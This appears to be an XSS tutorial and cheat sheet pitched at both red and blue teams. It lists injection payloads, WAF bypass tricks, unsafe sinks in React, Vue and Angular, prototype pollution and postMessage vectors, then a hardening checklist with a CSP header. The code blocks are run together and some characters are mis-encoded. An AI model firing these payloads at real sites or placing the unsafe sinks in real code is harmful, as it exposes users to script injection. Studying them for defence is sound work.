π Created for Hack Tools Dark Community
- XSS Basics and Exploitation
- Modern WAF Bypass Techniques
- XSS in SPAs (React, Angular, Vue)
- DOM Clobbering & Prototype Pollution + XSS
- XSS via postMessage, Shadow DOM, and iframe Abuse
- Trusted Types Bypass & iframe Sandbox Escapes
- Full Blue Team Hardening Guide
Cross-Site Scripting (XSS) allows attackers to execute arbitrary JavaScript in user browsers. It's still among the most exploited vulnerabilities today.
- Stored XSS: Injected script is stored and executed when viewed.
- Reflected XSS: Script is reflected off the server (e.g., via URL).
- DOM-Based XSS: Triggered entirely client-side.
<script>alert('XSS')</script>
<img src=x onerror=alert(1)>
<a href="javascript:alert(1)">Click</a>- HTML entity encoding
- Hex/Unicode encoding
- Broken tags
- JavaScript URIs
data:URIs with SVG- Mutation XSS (mXSS)
<svg><script xlink:href=data:,alert(1)></script></svg>
<iframe srcdoc="<script>alert`1`</script>"></iframe>
<video><source onerror="alert(1)"><div dangerouslySetInnerHTML={{ __html: userInput }} /><div v-html="userInput"></div>this.trust = sanitizer.bypassSecurityTrustHtml(userInput);Other vectors: localStorage, route injection, rich text editors.
<input name="submit" value="alert(1)">_.merge({}, JSON.parse('{ "__proto__": { "x": "<img src=x onerror=alert(1)>" } }'));Can lead to poisoned logic and HTML injection.
window.addEventListener('message', (e) => {
document.getElementById('output').innerHTML = e.data;
});el.attachShadow({mode: 'open'}).innerHTML = userInput;<iframe srcdoc="<script>alert(1)</script>"></iframe>document.body.innerHTML = String(userInput); // Unsafe wrapperUse DOMPurify in TT mode:
DOMPurify.sanitize(input, {RETURN_TRUSTED_TYPE: true});<iframe src="evil.html" sandbox="allow-scripts allow-same-origin"></iframe>Avoid combining allow-scripts and allow-same-origin.
- DOMPurify for sanitization
- Context-aware escaping
- Content-Security-Policy (CSP)
- Trusted Types
- Safe framework use (no v-html, dangerouslySetInnerHTML)
- Prototype key blacklisting (
__proto__,constructor) - iframe sandboxing
- Secure cookies (
HttpOnly,Secure,SameSite) - CSP reporting & logging
Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'; base-uri 'none';Modern XSS defense and offense require creativity and precision. Whether you're building secure systems or breaking them as a Red Teamer β mastering the full landscape of XSS is essential.